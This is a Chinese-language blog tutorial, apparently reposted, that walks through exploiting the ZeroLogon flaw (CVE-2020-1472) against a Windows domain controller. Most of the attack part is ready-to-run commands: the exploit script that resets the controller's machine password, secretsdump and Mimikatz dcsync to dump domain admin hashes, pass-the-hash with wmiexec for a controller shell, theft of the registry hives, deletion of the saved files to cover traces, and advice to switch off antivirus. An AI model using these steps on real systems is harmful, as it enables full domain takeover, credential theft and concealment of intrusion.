CVE-2020-1472


CVE-2020-1472攻擊過程

漏洞介紹

在今年9月份,國外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞詳情,網上也隨即公開了Exp。是近幾年windows上比較重量級別的一個漏洞。通過該漏洞,攻擊者只需能夠訪問域控的445端口,在無需任何憑據的情況下能拿到域管的權限。該漏洞的產生來源於Netlogon協議認證的加密模塊存在缺陷,導致攻擊者可以在沒有憑證的情況情況下通過認證。該漏洞的最穩定利用是調用netlogon中RPC函數NetrServerPasswordSet2來重置域控的密碼,從而以域控的身份進行Dcsync獲取域管權限。CVE-2020-1472來重置域控密碼。注意,這里是域控密碼,不是域管的密碼。是域控這個機器用戶的密碼。可能對域不是很熟悉的人對這點不是很了解。在域內,機器用戶跟域用戶一樣,是域內的成員,他在域內的用戶名是機器用戶+$(如DC2016\$),在本地的用戶名是SYSTEM。在擁有域控的機器用戶密碼的情況下,並不能直接使用該密碼登錄域控,因為機器用戶是不可以登錄的,但是因為域控的機器用戶具備Dcsync特權,我們就可以濫用該特權來進行Dcsync

 

環境

攻擊機 windows 10

域控服務器 windows server 2012 192.168.139.147

python 3.8

 

 

 

准備工具

https://github.com/VoidSec/CVE-2020-1472

https://github.com/maaaaz/impacket-examples-windows 【這是下面包中腳本轉成的exe】

https://github.com/SecureAuthCorp/impacket

impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,並不是release中,或者pip中直接指定的

建議:git clone https://github.com/SecureAuthCorp/impacket.git

當然也可以直接

 

其次如果使用的linux,執行腳本在出現$之類的特殊字符需要\轉義,我在window下執行,沒遇到這個問題

域和計算機名搞混淆,導致參數填寫錯誤,哪個是域,哪個是計算機名,看下圖

 

 

 

關於坑點:

windows中有python啟動器,py -3指定使用python3,防止選錯python版本

 

安裝impacket這步,手動安裝,並且把requirements.txt中的impacket==0.9.21這行去掉,不然執行py -3 pip install -r requirements.txt安裝其他庫時,impacket又裝一遍,會覆蓋掉最新版

 

安裝過程:

先卸載舊版本:

py -3 -m pip uninstall impacket

安裝新版本:

git clone https://github.com/SecureAuthCorp/impacket

cd impacket

py -3 setup.py install

 

報錯說明

AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',屬於坑點1,手動安裝impacket解決

secretsdump.py執行后無法獲取NTDS.DIT信息,多半是域和計算機名混淆或者出現$未轉義,對照坑點計算機名確認

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和計算機名混淆或者出現$未轉義,對照坑點3的圖片,確認下,自己環境中對應的參數填寫正確沒

 

利用

環境准備就緒以后,運行exp,記得關殺軟

py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150

-n  計算機名

-t  域控ip

 

檢測到存在漏洞,Y繼續清空域控密碼

 

成功之后用剛剛下載的

impacket-examples-windows

通過secretsdump.exe dump 域管 hash

.\secretsdump.exe -no-pass -just-dc DC$@192.168.1.150

-no-pass    無密碼登錄

-just-dc    僅提取NTDS.DIT​​數據(NTLM哈希和Kerberos鍵)

DC$@192.168.1.150 計算機名$@域控ip

 

獲取域控機器shell 和 導出域控計算機帳戶的原始NT哈希

-hashes 域管理員的nthash:lmhash

.\wmiexec.exe –hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab 

test.com/administrator@192.168.1.150

 

此時會返回一個交互式域控shell

 

本地保存文件

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

下載文件

get system.save

get sam.save

get security.save

擦屁股

del /f system.save

del /f sam.save

del /f security.save

 

讀取下載的文件計算原本的機器用戶密碼

.\ secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

 

隨后把密碼錘回去,這里使用的值是$MACHINE.ACC:  后的hash

Py -3 .\reinstall_original_pw.py DC 192.168.1.150

aad3b435b51404eeaad3b435b51404ee:5af95711c65a1312605ee044a484fb89

 

Mimikatz利用方式

探測是否存在漏洞

lsadump::zerologon /target:192.168.1.150 /account:DC$

lsadump::zerologon /target:192.168.1.150 /account:DC$ /exploit 攻擊

 

lsadump::dcsync /domain:test.com /dc:DC /user:Administrator /authuser:DC$ /authdomain:test /authpassword:"" /authntlm

----通過dcsync dump域管hash

 

 

 

提升權限注入會話

privilege::debug

sekurlsa::pth /user:Administrator /doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab

 

在注入會話的窗口打開mimikatz 恢復機器用戶密碼 隨后可以開始下一步操作

lsadump::postzerologon /target:192.168.1.150 /account:DC$

 

 

 

參考:

https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1

https://mp.weixin.qq.com/s/S9Hwb1-lLhh4QfI4b551SQ


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM